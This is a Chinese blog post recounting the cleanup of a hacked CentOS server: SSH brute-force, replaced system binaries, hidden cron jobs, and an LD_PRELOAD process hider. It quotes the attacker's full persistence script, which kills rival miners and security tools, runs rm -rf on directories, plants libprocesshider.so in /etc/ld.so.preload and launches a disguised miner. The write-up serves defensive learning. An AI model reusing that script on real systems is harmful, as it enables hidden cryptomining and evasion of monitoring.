• 注册
  • 网站运营 网站运营 关注:0 内容:4

    一次服务器被入侵的处理过程分享

  • 查看作者
  • 打赏作者
    • 网站运营
    • Lv.3

      下文中的,给文件和目录加锁,是指给文件和目录增加了一些属性,只读等。  chattr +ia

      目录
      • 一、服务器入侵现象

      • 二、服务器排查和处理

        • 2.1、服务器被入侵的可能原因

        • 2.2、排查和处理步骤

      • 三、本次入侵需要带来启示的点

      • 四、本次服务器被入侵的一些启示

      一、服务器入侵现象

      近期有一个朋友的服务器(自己做了网站)好像遭遇了入侵,具体现象是: 服务器 CPU 资源长期 100%,负载较高。 服务器上面的服务不能正常提供服务。

      一次服务器被入侵的处理过程分享

      朋友处理了一会没有解决,我开始想说我不是搞安全的,我怎么会,但朋友开出了天价,一顿海底捞,我在生活和现实面前低头了。 开始上手看看了。

      二、服务器排查和处理

      2.1、服务器被入侵的可能原因

      1. 服务器 ssh 密码 设置得很简单。

      2. 腾讯云安全组范围放得很大。

      3. 使用了宝塔,宝塔面板的密码也是很简单的密码(应该不是这个入侵入口)。

      2.2、排查和处理步骤

      1. ps -ef  / top  找出占用进程最大的服务

        问题现象

        ps/top 命令 已经被替换了。

        一次服务器被入侵的处理过程分享

      2. 查找详细的入侵痕迹   last 或者 grep 'Accepted'  /var/log/secure

        问题现象

        [root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
        Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
        Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
        Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
        Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
        Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
        Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
        Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
        Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

        lighthouse  腾讯云轻量服务器

        我们在这里就可以看到,有一些境外IP 34.215.138.2 成功登录了,这些 IP不是我们的正常登录。  在 /var/log/secure   日志里,我看到了 IP 34.215.138.2 尝试登录不到500次 就已经破解成功了。

        处理措施

        这里我们立马采取了第一个措施,

        1. 在腾讯云安全组限制了 SSH 的登录IP, 之前的安全组 SSH 是放行所有IP

        2. 将 SSH ROOT 密码修改。

        3. /root/.ssh/authorized_keys 备份,并清空。

          [root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
          cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

          这时我们就遇到了权限的问题,这个晚点展开讲,因为我们已经限制了源IP, 所以这个我们可以晚点来处理。

      3. 查看最近新增的一些用户

        问题现象

        cat /etc/passwd

        一次服务器被入侵的处理过程分享

        处理措施

        锁定用户

        [root@VM-12-12-centos ~]# usermod  -L  sys1
      4. 我这里不计划去找进程(已经在新建一台版本一致的系统, 来拷贝 topps 命令,需要一小会,我们趁这个时间,先看看其他),因为之前朋友重启过服务器,发现服务器启动过一会才会负载较高。我认为入侵者应该放了一些定时任务和启动脚本里面。

        问题现象

        定时任务

        crond 读取配置文件会从以下几个路径读取:

        /var/spool/cron/ 未找到(后面会说到这里有障眼法)

        一次服务器被入侵的处理过程分享

        /etc/crontab 未找到(后面会说到这里有障眼法)

        但是我在  /var/log/cron  一直看到有任务执行。每间隔5分钟。

        Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
        Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
        Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
        
        Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
        Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

        处理措施

        这里我们先做的操作就是,先把 /usr/lib/mysql/mysql/sbin/httpss 给删除。删除的时候还是提示没有权限。我们知道这些文件应该是加琐了,所以我开始解锁,我们发现  chattr 也被替换和锁住了。 所以不能操作下去了。

        开机启动脚本

        /etc/rc.local , 我们也发现了一个脚本。

        [root@VM-12-12-centos ~]# cat /etc/rc.local 
        #!/bin/bash
        # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
        #
        # It is highly advisable to create own systemd services or udev rules
        # to run scripts during boot instead of using this file.
        #
        # In contrast to previous versions due to parallel execution during boot
        # this script will NOT be run after all other services.
        #
        # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
        # that this script will be executed during boot.
        
        /usr/bin/0f4f80f9ab start

        但是这个文件好像不存在的,我们就把这个给注释了。

        • /var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户

        • /etc/crontab ,只能root 进行编辑,配置文件需指定用户

        • /etc/cron.d/ ,在此文件夹下创建定时任务文件,配置文件需指定用户

        • /etc/cron.*

      5. 还原更改了 toppschattrlsattr.

        部分截图

        一次服务器被入侵的处理过程分享

        • 首先我们从相同版本的机器拷贝了 chattrlsattr, 我们得先操作这个, 因为我们的 top 和  ps 都被锁住了。

        • 我将文件上传至 /tmp 目录,然后增加可执行权限,然后先给 /usr/bin/chattr 解除锁定。

          /tmp/chattr -ai /usr/bin/chattr
        • 执行完之后,发现还是不能替换 /usr/bin/chattr。 最后耗费了一段时间才反应到,入侵者可能不仅仅加锁了文件还加锁了 /usr/bin/

        • 解锁目录

          /tmp/chattr -ai /usr/bin/
        • 这下才能把 /usr/bin/chattr  给替换掉。

        • 接下来参考这些,我们把 toppslsattr 给还原了。

      三、本次入侵需要带来启示的点

      1. pstopchattrlsattr

        在这些命令被替换了,并且我们想还原又还原不了的场景,我们可以拷贝同版本的机器相同的命令放在其它目录,用这些命令来解除入侵者将它已经替换并锁定了文件。 注意有些入侵者不仅会在文件层面加锁,还会在当前的文件的目录这一层加锁。我之前在这个上面困惑了一段时间。

      2. 文件内容隐藏

        上文中,我执行 crontab -l    和 cat 查看  /etc/cron.d/ 下面的文件。发现文件没有内容。

        其实不知道使用了什么特殊字符还是什么隐藏了, 其实是存在定时任务的。

        示例:

        一次服务器被入侵的处理过程分享

        一次服务器被入侵的处理过程分享

      一次服务器被入侵的处理过程分享

      这个配置是如何导致 cat/more 看不了的, 今天再次看了下,这个文件可能是被当成了数据文件,因为我把这个文件 file 查看了之后,文件属性是data. 然后文件包含的特殊字符。导致隐藏了,我在这里 服务器入侵之找出隐藏字符的原理 把这个来龙去脉给讲清楚了。

      1. 其中一个脚本。

        [root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
        #!/bin/sh
        while test 1 = 1
        do
        sleep 30
        pkill -f main
        killall main
        killall sprshduerjsaia
        pkill -f sprshduerjsaia
        killall dr64
        pkill -f dr64
        killall .report_system
        pkill -f .report_system
        killall sshc
        pkill -f sshc
        pkill -f memory
        killall memory
        killall warmup
        killall koko
        killall kthreaddk
        killall systemc
        killall cront
        killall xm64_linux
        killall /var/tmp/j/./intelshell
        pkill -f dos32
        pkill -f dos64
        pkill -f .name
        pkill -f /usr/sbin/dbus
        pkill -f systemd-boot-check-no-failures
        killall .report_system
        pkill -f .report_system
        pkill -f keep-alive
        pkill -f linu
        pkill -f zapppp
        killall [scan]
        killall [ext4]
        pkill -f xm64_linux
        pkill -f ddrirc
        killall ./-bash
        pkill -f ./-bash
        killall kworkers
        killall dbus
        pkill -f biden1
        pkill -f cpuminer-sse2
        killall work64
        pkill -f work64
        killall work32
        pkill -f work32
        killall aarch12
        pkill -f aarch12
        killall bash1
        pkill -f bash1
        killall intelshell
        pkill -f intelshell
        killall heaven
        pkill -f heaven
        killall .syst3md
        pkill -f .syst3md
        pkill -f apachelogs
        killall .meinkampf
        pkill -f .meinkampf
        killall xri
        pkill -f xri
        killall koko
        pkill -f koko
        killall work32-deamon
        pkill -f work32-deamon
        killall work64 -deamon
        pkill -f work64 -deamon
        killall secure.sh
        pkill -f secure.sh
        kkillall auth.sh
        pkill -f auth.sh
        killall autoupdate
        pkill -f kworkers
        pkill -f autoupdate
        killall ld-linux
        pkill -f ld-linux
        pkill -9 Donald
        killall -9 Donald
        pkill -f /usr/local/bin/pnscan
        pkill -f /usr/bin/biden1
        killall /usr/bin/biden1
        killall r
        killall trace
        pkill -f minerd
        killall minerd
        pkill -f xm64
        killall xm64
        pkill -f sysdm
        killall sysdm
        pkill -f syst3md
        killall syst3md
        pkill -f xrig
        killall xrig
        pkill -f busybox
        killall busybox
        pkill -f joseph
        killall joseph
        pkill -f osama
        killall osama
        killall daemon
        pkill -f obama1
        killall obama1
        pkill -f kswapd0
        killall kswapd0
        pkill -f jehgms
        killall jehgms
        pkill -f tsm
        killall tsm
        pkill -f rig
        killall rig
        pkill -f xmr
        killall xmr
        pkill -f playstation
        killall playstation
        pkill -f ld-linux-x86-64
        killall ld-linux-x86-64
        pkill -f ruckusapd
        killall ruckusapd
        pkill -f run64
        killall run64
        pkill -f pwnrig
        killall pwnrig
        pkill -f phpupdate
        killall phpupdate
        pkill -f sysupdate
        killall sysupdate
        pkill -f phpguard
        killall phpguard
        pkill -f firstpress
        killall firstpress
        pkill -f zerocert
        killall zerocert
        pkill -f masscan
        killall masscan
        pkill -f -bash
        pkill -f spreadQlmnop
        killall spreadQlmnop
        killall -bash
        pkill -f cnrig
        killall cnrig
        pkill -f netvhost
        killall netvhost
        pkill -f kthreadds
        killall kthreadds
        pkill -f kthreadd
        killall kthreadd
        pkill -f kdevtmpfsi
        killall kdevtmpfsi
        pkill -f linuxservice
        killall linuxservice
        pkill -f rtmonitor
        killall rtmonitor
        pkill -f dev
        killall dev
        pkill -f xmrig
        killall xmrig
        pkill -f master
        killall master
        killall sysmd
        pkill -f sysmd
        pkill -f sendmail
        killall sendmail
        pkill -f ld-musl-x86_64.
        killall ld-musl-x86_64.
        killall watchdog
        pkill -f watchdog
        pkill -f 32678
        killall 32678
        killall dhpcd
        pkill -f dhpcd
        killall linux_amd64
        pkill -f linux_amd64
        killall xredis
        pkill -f xredis
        killall Linux2.6
        killall .chornyd
        pkill -f .chornyd
        killall Opera
        pkill -f Opera
        killall libertyd
        pkill -f libertyd
        killall rcubind
        pkill -f rcubind
        killall clamscan
        pkill -f clamscan
        killall pnscan
        pkill -f pnscan
        killall zzh
        pkill -f zzh
        killall bioser
        pkill -f bioser
        rm -rf /root/.configrc/
        rm -rf /tmp/.X26-unix/
        rm -rf /tmp/.bash/
        rm -rf /root/.bash/
        rm -rf /root/.cache/
        rm -rf /tmp/.cache/
        rm -rf /dev/shm/.ssh/
        rm -rf /etc/.etcservice/linuxservice
        rm -rf /etc/.vhost/netvhost
        rm -rf /tmp/up.txt
        rm -rf /var/tmp/.update/
        rm -rf /var/tmp/.systemd/
        rm -rf /usr/sbin/.bash./.bash/
        rm -rf /etc/master
        rm -rf /usr/bin/busybox
        rm -rf /bin/sysmd
        rm -rf /tmp/.mx/
        rm -rf /dev/shm/.mx/
        rm -rf /usr/bin/xrig
        rm -rf /etc/32678
        rm -rf /root/c3pool/
        rm -rf /usr/bin/.sshd/
        rm -rf /tmp/div
        systemctl stop c3pool_miner.service
        systemctl stop pwnriglhttps.service
        systemctl stop cryto
        systemctl stop scan
        systemctl stop bot
        systemctl stop myservice.service
        systemctl stop netns.service
        systemctl stop cryptsetup.service
        echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
        lockr +ai /etc/ld.so.preload >/dev/null 2>&1
        chmod 777 /usr/lib/mysql/*
        /usr/lib/mysql/./mysql
        done

        我们可以看到这个脚本其实一直在 更改 /etc/ld.so.preload  的内容。   并且在关闭一些扫描软件和系统的服务。

        在 Linux 操作系统的动态链接库加载过程中,动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容,并将读取到的动态链接库进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载,它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。

        ——段落引自《警惕利用 Linux 预加载型恶意动态链接库的后门》

        我已经删除了 /usr/local/lib/libprocesshider.so  文件,之后每次执行命令会有这个报错。

        一次服务器被入侵的处理过程分享

        我在清空文件  /etc/ld.so.preload   之后,我发现好了一会后,还是出现这个,我再看  /etc/ld.so.preload  文件,里面又写了 /usr/local/lib/libprocesshider.so ,我怀疑还有定时任务,但是我找了一会定时任务,还是没有找到。 后面在查看异常进程的时候,我看到了这个进程

        一次服务器被入侵的处理过程分享

        一次服务器被入侵的处理过程分享

        发现这个脚本的就是一直在循环执行上面内容。 将这个进程 kill 后,然后删除脚本。

      四、本次服务器被入侵的一些启示

      1. 用好云厂家的安全组。对一些关键端口,放行规则尽量最小/

      2. 服务器相关的一些密码尽量增加复杂性。

      3. 增加对一些关键文件的监控. (通过监控软件监控 md5值)

        • /etc/passwd

        • /etc/shadow

        • /etc/group

        • /root/.bash_history

        • /root/.ssh/authorized_keys

        • /etc/ssh/sshd_config

        • /etc/profile

        • /var/spool/cron/root

        • /etc/crontab

        • /etc/ld.so.preload

        • /etc/rc.local

        • lsof

        • ps

        • netstat

        • top

        • ls

        • pstree

        • last

        • history

        • sudo

        • password

        • chattr

        • lsattr

      4. 服务器入侵之后,我们需要怎么处理才是最好的。

        链接

        链接

        1. 服务器如果有开放SSH 远程登录,可以设置限制登录(安全组、或者服务),只放行自己的IP.    查找详细的入侵痕迹   last 或者 grep 'Accepted'  /var/log/secure

          /root/.ssh/authorized_keys  /etc/passwd  这些文件也可以看下。将一些新建的用户锁定。

        2. 服务器如果可以关闭外网,就关闭外网。 在安全组层面设置下,或者路由或者NAT。

        3. 首先看下 ps/top 命令有没有被篡改, 如果有的话, 从其他正常的机器上拷贝至服务器上。 然后执行查看异常进程。也要查询下 /etc/ld.so.preload 是否有被篡改。如果有的的话,记得清空里面的内容,然后将对应的文件删除或者重命名。

          如果使用过程中遇到了文件不可删,不可改的问题,需要使用 chattr  -ia  文件名   如果 chattr 也被串改,那就需要从别的机器拷贝。然后复原。

        4. 如果上述没有找到,可以通过 netstat 间接查看异常的连接从而查询异常进程。

        5. 检查开机启动 和 crontab 相关的内容 。

        6. 检查异常进程。

      以上就是这次入侵的处理过程和得到的一些小启示,后续有了解新的会继续补充。
      20200906 增加更新内容
      cat 查看内容为什么被隐藏了,我在这里 服务器入侵之找出隐藏字符的原理 把这个来龙去脉给讲清楚了。

      作者:理想三旬

      请登录之后再进行评论

      登录

      WordPress后台-外观-小工具 进行配置小工具

    • 发表内容
    • 实时动态
    • 偏好设置
    • 帖子间隔 侧栏位置: